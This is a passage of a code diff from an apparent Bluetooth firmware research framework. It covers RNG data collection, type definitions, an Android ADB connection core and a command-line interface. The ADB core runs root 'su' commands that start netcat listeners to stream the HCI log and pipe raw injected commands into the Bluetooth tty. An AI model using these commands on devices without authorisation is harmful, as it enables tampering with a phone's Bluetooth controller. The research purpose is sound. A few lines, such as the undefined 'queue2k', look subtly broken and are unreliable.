internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
sleep(2) # FIXME
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
pos = 0
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.error("!!!! data was corrupted !!! %i" % pos)
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
#data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
# FIXME we didn't remove the 0x42 in this data set!! something is wrong here
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("s8_randomdata_pseudo-%irounds-reg0x%x-2s-corrected.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
+31
-14
@@ -1,27 +1,44 @@
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
|
||||
import datetime
|
||||
|
||||
from queue import Queue
|
||||
from typing import (
|
||||
List,
|
||||
Optional,
|
||||
Any,
|
||||
TYPE_CHECKING,
|
||||
Tuple,
|
||||
Union,
|
||||
NewType,
|
||||
Callable,
|
||||
Dict,
|
||||
)
|
||||
|
||||
Address = NewType("Address", int)
|
||||
ConnectionNumber = NewType("ConnectionNumber", int)
|
||||
ConnectionIndex = NewType("ConnectionIndex", int)
|
||||
|
||||
BluetoothAddress = NewType("BluetoothAddress", bytes)
|
||||
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
|
||||
HeapInformation = NewType("HeapInformation", Dict[str, Any])
|
||||
QueueInformation = NewType("QueueInformation", Dict[str, Any])
|
||||
QueueInformation = NewType("MemoryPool", Dict[str, Any])
|
||||
|
||||
try:
|
||||
from queue import Queue
|
||||
from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Union, NewType, Callable, Dict
|
||||
|
||||
if TYPE_CHECKING:
|
||||
import datetime
|
||||
from internalblue.hci import HCI
|
||||
from internalblue.core import InternalBlue
|
||||
Address = NewType("Address", int)
|
||||
|
||||
Record = Tuple[HCI, int, int, int, Any, datetime.datetime]
|
||||
FilterFunction = Callable[[Record], bool]
|
||||
ConnectionNumber = NewType("ConnectionNumber", int)
|
||||
ConnectionIndex = NewType("ConnectionIndex", int)
|
||||
|
||||
BluetoothAddress = NewType("BluetoothAddress", bytes)
|
||||
ConnectionDict = NewType("ConnectionDict", Dict[str,Any])
|
||||
HeapInformation = NewType("HeapInformation", Dict[str, Any])
|
||||
QueueInformation = NewType('QueueInformation', Dict[str, Any])
|
||||
Opcode = NewType('Opcode', int)
|
||||
HCI_CMD = NewType('HCI_CMD', int)
|
||||
Task = Tuple[HCI_CMD, bytes, Queue.Queue, Callable[[Record], bool]]
|
||||
Opcode = NewType("Opcode", int)
|
||||
HCI_CMD = NewType("HCI_CMD", int)
|
||||
Task = Tuple[HCI_CMD, bytes, Queue, Callable[[Record], bool]]
|
||||
|
||||
Device = NewType("Device", Dict[str, Any])
|
||||
"""{"dev_id": dev_id,
|
||||
|
||||
+141
-64
@@ -1,6 +1,13 @@
|
||||
#!/usr/bin/env python2
|
||||
import struct
|
||||
from time import sleep
|
||||
from typing import Optional
|
||||
|
||||
from future import standard_library
|
||||
|
||||
from pwnlib import adb
|
||||
from pwnlib.exception import PwnlibException
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
import datetime
|
||||
@@ -10,17 +17,32 @@ import random
|
||||
from internalblue import hci
|
||||
from internalblue.utils import bytes_to_hex
|
||||
|
||||
from pwn import *
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, u32
|
||||
from .core import InternalBlue
|
||||
|
||||
|
||||
class ADBCore(InternalBlue):
|
||||
|
||||
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', serial=False, data_directory=".", replay=False):
|
||||
super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory, replay)
|
||||
self.hciport = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
|
||||
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
serial=False,
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
):
|
||||
super(ADBCore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory,
|
||||
replay,
|
||||
)
|
||||
self.hciport: Optional[int] = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
|
||||
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
|
||||
self.doublecheck = False
|
||||
|
||||
def device_list(self):
|
||||
@@ -36,16 +58,18 @@ class ADBCore(InternalBlue):
|
||||
return []
|
||||
|
||||
if self.replay:
|
||||
return [(self, "adb_replay", 'adb: ReplayDevice' )]
|
||||
return [(self, "adb_replay", "adb: ReplayDevice")]
|
||||
# Check for connected adb devices
|
||||
try:
|
||||
adb_devices = adb.devices()
|
||||
except ValueError:
|
||||
log.info("Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`.")
|
||||
log.info(
|
||||
"Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
|
||||
)
|
||||
adb_devices = 0
|
||||
except:
|
||||
adb_devices = 0
|
||||
|
||||
|
||||
if adb_devices == 0 or len(adb_devices) == 0:
|
||||
log.info("No adb devices found.")
|
||||
return []
|
||||
@@ -59,7 +83,7 @@ class ADBCore(InternalBlue):
|
||||
# Third index is the label which is shown in options(...)
|
||||
device_list = []
|
||||
for d in adb_devices:
|
||||
device_list.append((self, d.serial, 'adb: %s (%s)' % (d.serial, d.model)))
|
||||
device_list.append((self, d.serial, "adb: %s (%s)" % (d.serial, d.model)))
|
||||
|
||||
return device_list
|
||||
|
||||
@@ -77,7 +101,9 @@ class ADBCore(InternalBlue):
|
||||
if not self.serial:
|
||||
if not self._setupSockets():
|
||||
log.info("Could not connect using Bluetooth module.")
|
||||
log.info("Trying to set up connection for rooted smartphone with busybox installed.")
|
||||
log.info(
|
||||
"Trying to set up connection for rooted smartphone with busybox installed."
|
||||
)
|
||||
else:
|
||||
return True # successfully finished setup with bluetooth.default.so
|
||||
|
||||
@@ -88,7 +114,9 @@ class ADBCore(InternalBlue):
|
||||
# try again
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to target device.")
|
||||
log.info("Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n")
|
||||
log.info(
|
||||
"Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
|
||||
)
|
||||
return False
|
||||
|
||||
return True
|
||||
@@ -99,13 +127,17 @@ class ADBCore(InternalBlue):
|
||||
"""
|
||||
|
||||
data = self.s_snoop.recv(16)
|
||||
if(len(data) < 16):
|
||||
if len(data) < 16:
|
||||
return None
|
||||
if(self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
|
||||
if (self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
|
||||
self.btsnooplog_file.write(data)
|
||||
self.btsnooplog_file.flush()
|
||||
|
||||
btsnoop_hdr = (data[:8], u32(data[8:12],endian="big"),u32(data[12:16],endian="big"))
|
||||
btsnoop_hdr = (
|
||||
data[:8],
|
||||
u32(data[8:12], endian="big"),
|
||||
u32(data[12:16], endian="big"),
|
||||
)
|
||||
log.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
|
||||
return btsnoop_hdr
|
||||
|
||||
@@ -121,7 +153,9 @@ class ADBCore(InternalBlue):
|
||||
this field as 0x00E03AB44A676000.
|
||||
"""
|
||||
time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
|
||||
time_since_2000_epoch = datetime.timedelta(microseconds=time) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
|
||||
time_since_2000_epoch = datetime.timedelta(
|
||||
microseconds=time
|
||||
) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
|
||||
return datetime.datetime(2000, 1, 1) + time_since_2000_epoch
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
@@ -141,18 +175,23 @@ class ADBCore(InternalBlue):
|
||||
context.log_level = self.log_level
|
||||
|
||||
# Read the record header
|
||||
record_hdr = b''
|
||||
while(not self.exit_requested and len(record_hdr) < 24):
|
||||
record_hdr = b""
|
||||
while not self.exit_requested and len(record_hdr) < 24:
|
||||
try:
|
||||
recv_data = self.s_snoop.recv(24 - len(record_hdr))
|
||||
log.debug("recvThreadFunc: received bt_snoop data " + bytes_to_hex(recv_data))
|
||||
log.debug(
|
||||
"recvThreadFunc: received bt_snoop data "
|
||||
+ bytes_to_hex(recv_data)
|
||||
)
|
||||
if len(recv_data) == 0:
|
||||
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread...")
|
||||
log.info(
|
||||
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
|
||||
)
|
||||
self.exit_requested = True
|
||||
break
|
||||
record_hdr += recv_data
|
||||
except socket.timeout:
|
||||
pass # this is ok. just try again without error
|
||||
pass # this is ok. just try again without error
|
||||
|
||||
if not record_hdr or len(record_hdr) != 24:
|
||||
if not self.exit_requested:
|
||||
@@ -164,27 +203,31 @@ class ADBCore(InternalBlue):
|
||||
self.btsnooplog_file.write(record_hdr)
|
||||
self.btsnooplog_file.flush()
|
||||
|
||||
orig_len, inc_len, flags, drops, time64 = struct.unpack( ">IIIIq", record_hdr)
|
||||
orig_len, inc_len, flags, drops, time64 = struct.unpack(
|
||||
">IIIIq", record_hdr
|
||||
)
|
||||
|
||||
# Read the record data
|
||||
record_data = bytearray()
|
||||
while(not self.exit_requested and len(record_data) < inc_len):
|
||||
while not self.exit_requested and len(record_data) < inc_len:
|
||||
try:
|
||||
recv_data = self.s_snoop.recv(inc_len - len(record_data))
|
||||
if len(recv_data) == 0:
|
||||
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping..")
|
||||
log.info(
|
||||
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
|
||||
)
|
||||
self.exit_requested = True
|
||||
break
|
||||
record_data += bytearray(recv_data)
|
||||
except socket.timeout:
|
||||
pass # this is ok. just try again without error
|
||||
pass # this is ok. just try again without error
|
||||
|
||||
if not record_data or len(record_data) != inc_len:
|
||||
if not self.exit_requested:
|
||||
log.warn("recvThreadFunc: Cannot recv data. stopping.")
|
||||
self.exit_requested = True
|
||||
break
|
||||
|
||||
|
||||
if self.write_btsnooplog:
|
||||
self.btsnooplog_file.write(record_data)
|
||||
self.btsnooplog_file.flush()
|
||||
@@ -195,9 +238,18 @@ class ADBCore(InternalBlue):
|
||||
parsed_time = None
|
||||
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (hci.parse_hci_packet(record_data), orig_len, inc_len, flags, drops, parsed_time)
|
||||
record = (
|
||||
hci.parse_hci_packet(record_data),
|
||||
orig_len,
|
||||
inc_len,
|
||||
flags,
|
||||
drops,
|
||||
parsed_time,
|
||||
)
|
||||
|
||||
log.debug("_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0]))
|
||||
log.debug(
|
||||
"_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
|
||||
)
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
@@ -205,8 +257,10 @@ class ADBCore(InternalBlue):
|
||||
if filter_function == None or filter_function(record):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue.Full:
|
||||
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
@@ -215,9 +269,9 @@ class ADBCore(InternalBlue):
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller sent a stack dump.")
|
||||
# self.exit_requested = True
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller sent a stack dump.")
|
||||
# self.exit_requested = True
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
|
||||
@@ -233,12 +287,17 @@ class ADBCore(InternalBlue):
|
||||
# (with multiple attached Android devices) we must not hard code the
|
||||
# forwarded port numbers. Therefore we choose the port numbers
|
||||
# randomly and hope that they are not already in use.
|
||||
self.hciport = random.randint(60000, 65534) # minus 1, as we are using hciport + 1
|
||||
log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
|
||||
self.hciport = random.randint(
|
||||
60000, 65534
|
||||
) # minus 1, as we are using hciport + 1
|
||||
log.debug(
|
||||
"_setupSockets: Selected random ports snoop=%d and inject=%d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
|
||||
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = 'warn'
|
||||
context.log_level = "warn"
|
||||
try:
|
||||
adb.adb(["forward", "tcp:%d" % (self.hciport), "tcp:8872"])
|
||||
adb.adb(["forward", "tcp:%d" % (self.hciport + 1), "tcp:8873"])
|
||||
@@ -251,7 +310,7 @@ class ADBCore(InternalBlue):
|
||||
# Connect to hci injection port
|
||||
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
try:
|
||||
self.s_inject.connect(('127.0.0.1', self.hciport + 1))
|
||||
self.s_inject.connect(("127.0.0.1", self.hciport + 1))
|
||||
self.s_inject.settimeout(0.5)
|
||||
except socket.error:
|
||||
log.warn("Could not connect to adb. Is your device authorized?")
|
||||
@@ -259,16 +318,16 @@ class ADBCore(InternalBlue):
|
||||
|
||||
# Connect to hci snoop log port
|
||||
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.s_snoop.connect(('127.0.0.1', self.hciport))
|
||||
self.s_snoop.connect(("127.0.0.1", self.hciport))
|
||||
self.s_snoop.settimeout(0.5)
|
||||
|
||||
# Read btsnoop header
|
||||
if (self._read_btsnoop_hdr() == None):
|
||||
if self._read_btsnoop_hdr() == None:
|
||||
log.warn("Could not read btsnoop header")
|
||||
self.s_inject.close()
|
||||
self.s_snoop.close()
|
||||
self.s_inject = self.s_snoop = None
|
||||
context.log_level = 'warn'
|
||||
context.log_level = "warn"
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
|
||||
context.log_level = saved_loglevel
|
||||
@@ -280,23 +339,25 @@ class ADBCore(InternalBlue):
|
||||
Close s_snoop and s_inject sockets. Remove port forwarding with adb.
|
||||
"""
|
||||
|
||||
if (self.s_inject != None):
|
||||
if self.s_inject != None:
|
||||
self.s_inject.close()
|
||||
self.s_inject = None
|
||||
if (self.s_snoop != None):
|
||||
if self.s_snoop != None:
|
||||
self.s_snoop.close()
|
||||
self.s_snoop = None
|
||||
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = 'warn'
|
||||
try:
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
|
||||
except PwnlibException as e:
|
||||
log.warn("Removing adb port forwarding failed: " + str(e))
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
context.log_level = "warn"
|
||||
if self.hciport is not None:
|
||||
hciport = self.hciport
|
||||
try:
|
||||
adb.adb(["forward", "--remove", f"tcp:{hciport}"])
|
||||
adb.adb(["forward", "--remove", f"tcp:{hciport + 1}"])
|
||||
except PwnlibException as e:
|
||||
log.warn("Removing adb port forwarding failed: " + str(e))
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
|
||||
def _setupSerialSu(self):
|
||||
"""
|
||||
@@ -320,36 +381,54 @@ class ADBCore(InternalBlue):
|
||||
self.serial = True
|
||||
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = 'warn'
|
||||
context.log_level = "warn"
|
||||
|
||||
try:
|
||||
# check dependencies
|
||||
if adb.which('su') is None:
|
||||
if adb.which("su") is None:
|
||||
log.critical("su not found, rooted smartphone required!")
|
||||
return False
|
||||
|
||||
if adb.process(['su', '-c', 'which', 'nc']).recvall() == '':
|
||||
|
||||
if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
|
||||
log.critical("nc not found, install busybox!")
|
||||
return False
|
||||
|
||||
# automatically detect the proper serial device with lsof
|
||||
logfile = adb.process(["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]).recvall().strip()
|
||||
logfile = (
|
||||
adb.process(
|
||||
["su", "-c", "lsof | grep btsnoop_hci.log | tail -n 1 | awk '{print $NF}'"]
|
||||
)
|
||||
.recvall()
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
log.info("Android btsnoop logfile %s...", logfile)
|
||||
interface = adb.process(["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]).recvall().strip()
|
||||
interface = (
|
||||
adb.process(
|
||||
["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]
|
||||
)
|
||||
.recvall()
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
log.info("Android Bluetooth interface %s...", interface)
|
||||
|
||||
if logfile == '':
|
||||
log.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
|
||||
if logfile == "":
|
||||
log.critical(
|
||||
"Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
|
||||
)
|
||||
return False
|
||||
|
||||
if interface == '':
|
||||
if interface == "":
|
||||
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
|
||||
return False
|
||||
|
||||
# spawn processes
|
||||
adb.process(["su", "-c", 'tail -f -n +0 %s | nc -l -p 8872' % logfile])
|
||||
adb.process(["su", "-c", "tail -f -n +0 %s | nc -l -p 8872" % logfile])
|
||||
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
|
||||
adb.process(["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface])
|
||||
adb.process(
|
||||
["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface]
|
||||
)
|
||||
sleep(2)
|
||||
|
||||
except PwnlibException as e:
|
||||
@@ -359,5 +438,3 @@ class ADBCore(InternalBlue):
|
||||
context.log_level = saved_loglevel
|
||||
|
||||
return True
|
||||
|
||||
|
||||
|
||||
+129
-73
@@ -29,8 +29,11 @@
|
||||
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import socket
|
||||
import sys
|
||||
from builtins import str
|
||||
from pwn import *
|
||||
import internalblue.utils.pwnlib_wrapper as pwnlib
|
||||
import os
|
||||
import traceback
|
||||
import argparse
|
||||
@@ -52,80 +55,116 @@ except:
|
||||
|
||||
HISTFILE = "_internalblue.hist"
|
||||
|
||||
|
||||
def print_banner():
|
||||
banner = """\
|
||||
banner = r"""
|
||||
____ __ _____ __
|
||||
/ _/__ / /____ _______ ___ _/ / _ )/ /_ _____
|
||||
_/ // _ \/ __/ -_) __/ _ \/ _ `/ / _ / / // / -_)
|
||||
/___/_//_/\__/\__/_/ /_//_/\_,_/_/____/_/\_,_/\__/
|
||||
|
||||
|
||||
type <help> for usage information!\n\n"""
|
||||
type <help> for usage information!
|
||||
"""
|
||||
for line in banner:
|
||||
term.output(text.blue(line))
|
||||
pwnlib.term.output(pwnlib.text.blue(line))
|
||||
|
||||
|
||||
def commandLoop(internalblue, init_commands=None):
|
||||
cmdstack = init_commands.split(';')[::-1] if init_commands else None
|
||||
cmdstack = init_commands.split(";")[::-1] if init_commands else None
|
||||
while internalblue.running and not internalblue.exit_requested:
|
||||
cmd_instance = None
|
||||
try:
|
||||
if cmdstack:
|
||||
cmdline = cmdstack.pop().strip()
|
||||
else:
|
||||
cmdline = term.readline.readline(prompt='> ').strip().decode('utf-8')
|
||||
cmdword = cmdline.split(' ')[0].split('=')[0]
|
||||
if(cmdword == ''):
|
||||
cmdline = (
|
||||
pwnlib.term.readline.readline(prompt="> ").strip().decode("utf-8")
|
||||
)
|
||||
cmdword = cmdline.split(" ")[0].split("=")[0]
|
||||
if cmdword == "":
|
||||
continue
|
||||
log.debug("Command Line: [[" + cmdword + "]] " + cmdline)
|
||||
pwnlib.log.debug("Command Line: [[" + cmdword + "]] " + cmdline)
|
||||
matching_cmd = cmds.findCmd(cmdword)
|
||||
if matching_cmd == None:
|
||||
log.warn("Command unknown: " + cmdline)
|
||||
pwnlib.log.warn("Command unknown: " + cmdline)
|
||||
continue
|
||||
cmd_instance = matching_cmd(cmdline, internalblue)
|
||||
if(not cmd_instance.work()):
|
||||
log.warn("Command failed: " + str(cmd_instance))
|
||||
if not cmd_instance.work():
|
||||
pwnlib.log.warn("Command failed: " + str(cmd_instance))
|
||||
except ValueError as e:
|
||||
log.warn("commandLoop: ValueError: " + str(e))
|
||||
pwnlib.log.warn("commandLoop: ValueError: " + str(e))
|
||||
raise
|
||||
except KeyboardInterrupt:
|
||||
if(cmd_instance != None):
|
||||
if cmd_instance != None:
|
||||
cmd_instance.abort_cmd()
|
||||
else:
|
||||
log.info("Got Ctrl-C; exiting...")
|
||||
pwnlib.log.info("Got Ctrl-C; exiting...")
|
||||
internalblue.exit_requested = True
|
||||
break
|
||||
except AssertionError as e:
|
||||
raise
|
||||
except socket.error as e:
|
||||
if e.args == (1, "Operation not permitted"):
|
||||
log.critical("Received an 'Operation not permitted' socket.error, you might need root for the command '{}'".format(cmdline))
|
||||
log.critical(traceback.format_exc())
|
||||
pwnlib.log.critical(
|
||||
"Received an 'Operation not permitted' socket.error, you might need root for the command '{}'".format(
|
||||
cmdline
|
||||
)
|
||||
)
|
||||
pwnlib.log.critical(traceback.format_exc())
|
||||
except Exception as e:
|
||||
internalblue.exit_requested = True # Make sure all threads terminate
|
||||
log.critical("Uncaught exception (%s). Abort." % str(e))
|
||||
internalblue.exit_requested = True # Make sure all threads terminate
|
||||
pwnlib.log.critical("Uncaught exception (%s). Abort." % str(e))
|
||||
print(traceback.format_exc())
|
||||
raise
|
||||
cmd_instance = None
|
||||
|
||||
|
||||
def _parse_argv(argv):
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--data-directory", "-d", help="Set data directory. Default: ~/.internalblue")
|
||||
parser.add_argument("--verbose", "-v", help="Set log level to DEBUG", action="store_true")
|
||||
parser.add_argument("--ios-device", "-i", help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).")
|
||||
parser.add_argument("--serialsu", "-s", help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.", action="store_true")
|
||||
parser.add_argument("--testdevice", "-t", help="Use a dummy test device to execute testcases", action="store_true")
|
||||
parser.add_argument(
|
||||
"--data-directory", "-d", help="Set data directory. Default: ~/.internalblue"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--verbose", "-v", help="Set log level to DEBUG", action="store_true"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ios-device",
|
||||
"-i",
|
||||
help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--serialsu",
|
||||
"-s",
|
||||
help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument("--trace", help="Trace hci connection")
|
||||
parser.add_argument("--device", help="Specify device/core to be used")
|
||||
parser.add_argument("--commands", "-c", help="CLI command to run before prompting, seperated by ';' (used for easier testing)")
|
||||
parser.add_argument("--replay", help="Intercept and replace every communication with the core with the one in the specified file")
|
||||
parser.add_argument("--save", help="Store a trace into the file that can be used with --replay")
|
||||
parser.add_argument(
|
||||
"--commands",
|
||||
"-c",
|
||||
help="CLI command to run before prompting, seperated by ';' (used for easier testing)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--replay",
|
||||
help="Intercept and replace every communication with the core with the one in the specified file",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--save", help="Store a trace into the file that can be used with --replay"
|
||||
)
|
||||
return parser.parse_args(argv)
|
||||
|
||||
|
||||
|
||||
# Entry point for the `internalblue` command entry point defined in setup.py
|
||||
def internalblue_entry_point():
|
||||
print_banner()
|
||||
return internalblue_cli(sys.argv[1:])
|
||||
|
||||
# Main Program Start
|
||||
def internalblue_cli(argv, args=None):
|
||||
#print_banner()
|
||||
# print_banner()
|
||||
|
||||
args = args or _parse_argv(argv)
|
||||
|
||||
@@ -146,90 +185,108 @@ def internalblue_cli(argv, args=None):
|
||||
for cmd in cmds.getCmdList():
|
||||
for keyword in cmd.keywords:
|
||||
cmd_keywords.append(keyword)
|
||||
readline_completer = term.completer.LongestPrefixCompleter(words=cmd_keywords)
|
||||
term.readline.set_completer(readline_completer)
|
||||
|
||||
|
||||
readline_completer = pwnlib.term.completer.LongestPrefixCompleter(
|
||||
words=cmd_keywords
|
||||
)
|
||||
pwnlib.term.readline.set_completer(readline_completer)
|
||||
|
||||
if args.trace:
|
||||
from .socket_hooks import hook
|
||||
from internalblue import socket_hooks
|
||||
|
||||
HookClass = getattr(socket_hooks, args.trace)
|
||||
hook(HCICore, HookClass)
|
||||
hook(ADBCore, HookClass)
|
||||
elif args.save:
|
||||
from .socket_hooks import hook, TraceToFileHook
|
||||
|
||||
hook(HCICore, TraceToFileHook, filename=args.save)
|
||||
hook(ADBCore, TraceToFileHook, filename=args.save)
|
||||
|
||||
|
||||
# Initalize cores and get devices
|
||||
# As macOS has additional dependencies (objc), only import it here if needed
|
||||
connection_methods = [] # type: List[InternalBlue]
|
||||
connection_methods = [] # type: List[InternalBlue]
|
||||
if args.replay:
|
||||
from .socket_hooks import hook, ReplaySocket
|
||||
from .macoscore import macOSCore
|
||||
replay_devices = ['macos_replay', 'adb_replay', 'hci_replay', 'ios_replay']
|
||||
|
||||
replay_devices = ["macos_replay", "adb_replay", "hci_replay", "ios_replay"]
|
||||
if args.device == "macos_replay":
|
||||
from .macoscore import macOSCore
|
||||
|
||||
hook(macOSCore, ReplaySocket, filename=args.replay)
|
||||
connection_methods = [macOSCore(log_level=log_level, data_directory=data_directory, replay=True)]
|
||||
connection_methods = [
|
||||
macOSCore(
|
||||
log_level=log_level, data_directory=data_directory, replay=True
|
||||
)
|
||||
]
|
||||
elif args.device == "hci_replay":
|
||||
hook(HCICore, ReplaySocket, filename=args.replay)
|
||||
connection_methods = [HCICore(log_level=log_level, data_directory=data_directory, replay=True)]
|
||||
connection_methods = [
|
||||
HCICore(log_level=log_level, data_directory=data_directory, replay=True)
|
||||
]
|
||||
elif args.device == "adb_replay":
|
||||
hook(ADBCore, ReplaySocket, filename=args.replay)
|
||||
connection_methods = [ADBCore(log_level=log_level, data_directory=data_directory, replay=True)]
|
||||
connection_methods = [
|
||||
ADBCore(log_level=log_level, data_directory=data_directory, replay=True)
|
||||
]
|
||||
elif args.device == "ios_replay":
|
||||
raise NotImplementedError("ios replay is not implemented yet")
|
||||
else:
|
||||
raise ValueError("--device is required with --replay and has to be one of {}".format(replay_devices))
|
||||
|
||||
elif args.ios_device:
|
||||
from .ioscore import iOSCore
|
||||
connection_methods = [iOSCore(args.ios_device, log_level=log_level, data_directory=data_directory)]
|
||||
elif args.testdevice:
|
||||
from .testcore import testCore
|
||||
connection_methods = [testCore(log_level=log_level, data_directory=data_directory)]
|
||||
elif platform == "darwin":
|
||||
from .macoscore import macOSCore
|
||||
connection_methods = [
|
||||
macOSCore(log_level=log_level, data_directory=data_directory, replay=(args.replay and args.device == 'mac')),
|
||||
ADBCore(log_level=log_level, data_directory=data_directory)]
|
||||
if args.trace:
|
||||
hook(macOSCore, HookClass)
|
||||
elif args.save:
|
||||
hook(macOSCore, TraceToFileHook, filename=args.save)
|
||||
raise ValueError(
|
||||
"--device is required with --replay and has to be one of {}".format(
|
||||
replay_devices
|
||||
)
|
||||
)
|
||||
else:
|
||||
